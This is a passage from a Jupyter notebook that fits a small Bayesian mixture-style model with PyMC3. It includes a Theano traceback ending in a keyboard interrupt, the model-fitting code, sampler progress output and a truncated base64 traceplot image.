"\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/theanof.pyc\u001b[0m in \u001b[0;36mgradient1\u001b[0;34m(f, v)\u001b[0m\n\u001b[1;32m 42\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mgradient1\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mf\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mv\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 43\u001b[0m \u001b[0;34m\"\"\"flat gradient of f wrt v\"\"\"\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 44\u001b[0;31m \u001b[0;32mreturn\u001b[0m \u001b[0mt\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mflatten\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mt\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mgrad\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mf\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mv\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mdisconnected_inputs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0;34m'warn'\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 45\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 46\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36mgrad\u001b[0;34m(cost, wrt, consider_constant, disconnected_inputs, add_names, known_grads, return_disconnected, null_gradients)\u001b[0m\n\u001b[1;32m 559\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 560\u001b[0m rval = _populate_grad_dict(var_to_app_to_idx,\n\u001b[0;32m--> 561\u001b[0;31m grad_dict, wrt, cost_name)\n\u001b[0m\u001b[1;32m 562\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 563\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mi\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mxrange\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mlen\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mrval\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36m_populate_grad_dict\u001b[0;34m(var_to_app_to_idx, grad_dict, wrt, cost_name)\u001b[0m\n\u001b[1;32m 1322\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mgrad_dict\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mvar\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1323\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1324\u001b[0;31m \u001b[0mrval\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0maccess_grad_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0melem\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0melem\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mwrt\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1325\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1326\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mrval\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_grad_cache\u001b[0;34m(var)\u001b[0m\n\u001b[1;32m 1277\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0midx\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode_to_idx\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1278\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1279\u001b[0;31m \u001b[0mterm\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0maccess_term_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0midx\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1280\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1281\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0misinstance\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mterm\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgof\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mVariable\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_term_cache\u001b[0;34m(node)\u001b[0m\n\u001b[1;32m 971\u001b[0m \u001b[0minputs\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 972\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 973\u001b[0;31m \u001b[0moutput_grads\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0maccess_grad_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mvar\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mvar\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0moutputs\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 974\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 975\u001b[0m \u001b[0;31m# list of bools indicating if each output is connected to the cost\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_grad_cache\u001b[0;34m(var)\u001b[0m\n\u001b[1;32m 1277\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0midx\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode_to_idx\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1278\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1279\u001b[0;31m \u001b[0mterm\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0maccess_term_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0midx\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1280\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1281\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0misinstance\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mterm\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgof\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mVariable\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_term_cache\u001b[0;34m(node)\u001b[0m\n\u001b[1;32m 971\u001b[0m \u001b[0minputs\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 972\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 973\u001b[0;31m \u001b[0moutput_grads\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0maccess_grad_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mvar\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mvar\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0moutputs\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 974\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 975\u001b[0m \u001b[0;31m# list of bools indicating if each output is connected to the cost\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_grad_cache\u001b[0;34m(var)\u001b[0m\n\u001b[1;32m 1277\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0midx\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode_to_idx\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1278\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1279\u001b[0;31m \u001b[0mterm\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0maccess_term_cache\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mnode\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0midx\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1280\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1281\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0misinstance\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mterm\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mgof\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mVariable\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gradient.pyc\u001b[0m in \u001b[0;36maccess_term_cache\u001b[0;34m(node)\u001b[0m\n\u001b[1;32m 1097\u001b[0m new_output_grads)):\n\u001b[1;32m 1098\u001b[0m \u001b[0morig_output\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mnew_output_grad\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mpacked\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1099\u001b[0;31m \u001b[0;32mif\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0mhasattr\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0morig_output\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;34m'shape'\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1100\u001b[0m \u001b[0;32mcontinue\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1101\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0misinstance\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mnew_output_grad\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtype\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mDisconnectedType\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/tensor/var.pyc\u001b[0m in \u001b[0;36m<lambda>\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 279\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mtheano\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtensor\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbasic\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtranspose\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0maxes\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 280\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 281\u001b[0;31m \u001b[0mshape\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mproperty\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;32mlambda\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m:\u001b[0m \u001b[0mtheano\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mtensor\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mbasic\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mshape\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 282\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 283\u001b[0m size = property(lambda self: self.shape[0] if self.ndim == 1 else\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/op.pyc\u001b[0m in \u001b[0;36m__call__\u001b[0;34m(self, *inputs, **kwargs)\u001b[0m\n\u001b[1;32m 645\u001b[0m \u001b[0;31m# compute output value once with test inputs to validate graph\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 646\u001b[0m thunk = node.op.make_thunk(node, storage_map, compute_map,\n\u001b[0;32m--> 647\u001b[0;31m no_recycling=[])\n\u001b[0m\u001b[1;32m 648\u001b[0m \u001b[0mthunk\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0minputs\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0mstorage_map\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mv\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mv\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0minputs\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 649\u001b[0m \u001b[0mthunk\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0moutputs\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0;34m[\u001b[0m\u001b[0mstorage_map\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mv\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mv\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mnode\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0moutputs\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/op.pyc\u001b[0m in \u001b[0;36mmake_thunk\u001b[0;34m(self, node, storage_map, compute_map, no_recycling)\u001b[0m\n\u001b[1;32m 916\u001b[0m \u001b[0;32mtry\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 917\u001b[0m return self.make_c_thunk(node, storage_map, compute_map,\n\u001b[0;32m--> 918\u001b[0;31m no_recycling)\n\u001b[0m\u001b[1;32m 919\u001b[0m \u001b[0;32mexcept\u001b[0m \u001b[0;34m(\u001b[0m\u001b[0mNotImplementedError\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mutils\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mMethodNotDefined\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 920\u001b[0m \u001b[0mlogger\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdebug\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m'Falling back on perform'\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/op.pyc\u001b[0m in \u001b[0;36mmake_c_thunk\u001b[0;34m(self, node, storage_map, compute_map, no_recycling)\u001b[0m\n\u001b[1;32m 834\u001b[0m \u001b[0mlogger\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mdebug\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m'Trying CLinker.make_thunk'\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 835\u001b[0m outputs = cl.make_thunk(input_storage=node_input_storage,\n\u001b[0;32m--> 836\u001b[0;31m output_storage=node_output_storage)\n\u001b[0m\u001b[1;32m 837\u001b[0m \u001b[0mfill_storage\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mnode_input_filters\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mnode_output_filters\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0moutputs\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 838\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/cc.pyc\u001b[0m in \u001b[0;36mmake_thunk\u001b[0;34m(self, input_storage, output_storage, storage_map, keep_lock)\u001b[0m\n\u001b[1;32m 1207\u001b[0m cthunk, in_storage, out_storage, error_storage = self.__compile__(\n\u001b[1;32m 1208\u001b[0m \u001b[0minput_storage\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0moutput_storage\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mstorage_map\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1209\u001b[0;31m keep_lock=keep_lock)\n\u001b[0m\u001b[1;32m 1210\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1211\u001b[0m \u001b[0mres\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0m_CThunk\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mcthunk\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0minit_tasks\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mtasks\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0merror_storage\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/cc.pyc\u001b[0m in \u001b[0;36m__compile__\u001b[0;34m(self, input_storage, output_storage, storage_map, keep_lock)\u001b[0m\n\u001b[1;32m 1145\u001b[0m \u001b[0moutput_storage\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1146\u001b[0m \u001b[0mstorage_map\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1147\u001b[0;31m keep_lock=keep_lock)\n\u001b[0m\u001b[1;32m 1148\u001b[0m return (thunk,\n\u001b[1;32m 1149\u001b[0m [link.Container(input, storage) for input, storage in\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/cc.pyc\u001b[0m in \u001b[0;36mcthunk_factory\u001b[0;34m(self, error_storage, in_storage, out_storage, storage_map, keep_lock)\u001b[0m\n\u001b[1;32m 1594\u001b[0m \"\"\"\n\u001b[1;32m 1595\u001b[0m \u001b[0;32mtry\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m-> 1596\u001b[0;31m \u001b[0mkey\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mcmodule_key\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1597\u001b[0m \u001b[0;32mexcept\u001b[0m \u001b[0mKeyError\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1598\u001b[0m \u001b[0mkey\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mNone\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/cc.pyc\u001b[0m in \u001b[0;36mcmodule_key\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 1289\u001b[0m \"\"\"\n\u001b[1;32m 1290\u001b[0m return self.cmodule_key_(self.fgraph, self.no_recycling,\n\u001b[0;32m-> 1291\u001b[0;31m \u001b[0mcompile_args\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mcompile_args\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 1292\u001b[0m \u001b[0mlibraries\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mlibraries\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 1293\u001b[0m \u001b[0mheader_dirs\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mself\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mheader_dirs\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m,\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/theano/gof/cc.pyc\u001b[0m in \u001b[0;36mcompile_args\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 948\u001b[0m \u001b[0;32mtry\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 949\u001b[0m \u001b[0;32mtry\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 950\u001b[0;31m \u001b[0mret\u001b[0m \u001b[0;34m+=\u001b[0m \u001b[0mx\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mc_compile_args\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mc_compiler\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 951\u001b[0m \u001b[0;32mexcept\u001b[0m \u001b[0mTypeError\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 952\u001b[0m \u001b[0mret\u001b[0m \u001b[0;34m+=\u001b[0m \u001b[0mx\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mc_compile_args\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;31mKeyboardInterrupt\u001b[0m: " ] } ], "source": [ "ndims = 2\n", "nobs = 20\n", "\n", "n = 1000\n", "y_sample = np.random.binomial(1, 0.5, size=(n,))\n", "x_sample=np.empty(n)\n", "x_sample[y_sample==0] = np.random.normal(-1, 1, size=(n, ))[y_sample==0]\n", "x_sample[y_sample==1] = np.random.normal(1, 1, size=(n, ))[y_sample==1]\n", "\n", "with pm.Model() as model:\n", "\tp = pm.Beta('p', alpha=1.0, beta=1.0)\n", "\ty = pm.Bernoulli('y', p=p, observed=y_sample)\n", "\tmu0 = pm.Normal('mu0', mu=0., sd=1.)\n", "\tmu1 = pm.Normal('mu1', mu=0., sd=1.)\n", "\n", "\tmu = pm.Deterministic('mu', mu0 * (1-y_sample) + mu1 * y_sample)\n", "\t\n", "\tx = pm.Normal('x', mu=mu, sd=1., observed=x_sample)\n", "\n", "with model:\n", "\tstart = pm.find_MAP()\n", "\tstep = pm.NUTS()\n", "\ttrace = pm.sample(10000, step, start)\n", "\n", "pm.traceplot(trace)\n", "plt.savefig(\"result2.jpg\")" ] }, { "cell_type": "code", "execution_count": 278, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " [-----------------100%-----------------] 10000 of 10000 complete in 3.1 sec" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA1kAAACKCAYAAABYQ4AvAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJztnXm4FOWVuN/DZRNBrqwqiyigUaKAuEviFRFRcRmNMWii\nxMSYxSW/ZGI0k0ScZKKJZsaYzGQco8bECO6KxgVcrvsCykUUEReuCiiCyCL7cn5/fFV0dd3q7urb\n1dvt8z5PPd21f0t113e+s4mqYhiGYRiGYRiGYSRDu3IXwDAMwzAMwzAMoy1hQpZhGIZhGIZhGEaC\nmJBlGIZhGIZhGIaRICZkGYZhGIZhGIZhJIgJWYZhGIZhGIZhGAliQpZhGIZhGIZhGEaCmJBlGIZh\nGIZhGIaRICZkGYZhGIZhGIZhJIgJWYZhGIZhGIZhGAliQpZhJIyINIvIv4rIayKyRkRuFJG+IvKw\niKwSkRkiUi8iDSLyYcS5R5er7IZhGEZtYe8swygOJmQZRvIocCpwNLA3MAF4GLgU6IP73V3kHRd1\nbtR2wzAMwygG9s4yjCJgQpZhFIc/quoyVV0CPAO8oKpzVHUjcC8wsrzFMwzDMIzt2DvLMBLGhCzD\nKA5LA9/Xh9Y3AF1LWxzDMAzDyIi9swwjYUzIMozSIBHb1gJdth8gUgf0LlmJDMMwDCMae2cZRoGY\nkGUY5WMB0FlEjheRDsDPgU5lLpNhGIZhRGHvLMPIAxOyDKM0aOi7qupq4PvAX4BFwOfAhxHnGoZh\nGEYpsXeWYRSIqBYnKIyI3AScAHyiqvuF9v0YuBropaorilIAwzAMwyD7+yhwzHXAccA6YJKqzva2\nNwOrga3AZlU9uCSFNgzDMKqaYmqybgbGhzeKyADgGOD9It7bMAzDMHwi30c+InI8MERVhwLfAf4c\n2K1Ag6qONAHLMAzDiEvRhCxVfQb4LGLXfwKXFOu+hmEYhhEky/vI5yTgFu/Yl4B6Eekb2B8VBMAw\nDMMwMlJSnywRORlYpKqvlfK+hmEYhpGFfqT7lizytoHTZD0mIrNE5LySl8wwDMOoStqX6kYi0gX4\nGc5UcPvmDMda9nDDMIwqRlWrTfuTqbyjVXWJiPQGZojIfE8zljrR3lmGYRhVTTHeWaXUZA0GBgFz\nRGQh0B94RUT6RB2sqjW3XH755WUvg9XZ6m11tnoXulQhi4EBgfX+3jZUdYn3uQy4F4j0yyp3m1fD\nUou/BWsnaydro8pfikXJhCxVnauqfVV1D1XdA2eOcYCqflKqMhiGYRhGBNOAswFE5FBgpaouFZEu\nItLN274jMA6YW75iGoZhGNVC0cwFRWQKcCTQU0Q+BH6pqjcHDqnK6c5i0tzcXO4ilJxarDPUZr1r\nsc5Qu/WuJALvo17e++hyoAOAql6vqg95CVbfAdYC3/RO3QW4R0TAvS//oarTS14BwzAMo+oompCl\nqhNz7N+zWPeuVkaMGFHuIpScWqwz1Ga9a7HOULv1riRyvY+8Yy6I2PYeYB2YEA0NDeUuQlVg7RQP\na6fcWBuVl6IlIy4EEdFKLJdhGIaRGxFBqy/wRauxd5ZhGEb1Uqx3VklDuBuGYRiGYRiGYbR1TMiq\nIBobG8tdhJJTi3WG9HqvXQt/+hOMHQvDhkGvXtC5M/TvD6NGwQknwPe+B1deCf/4Bzz/PHz0EVTb\nxLn1tWEYhmEYtULJ8mQZhpHOmjVwzTXw5z/DEUfAD38Iu+8OfftC166wfDksXeoEqg8/hA8+gDlz\nYOFCt6xb54SwQw91548fDx07lrtWhmEYhmEYhvlkGUYZeP99mDAB9t8ffvlL2Hvv/K+xciXMnAkv\nvgiPPQYLFsB558H550O/fsmX2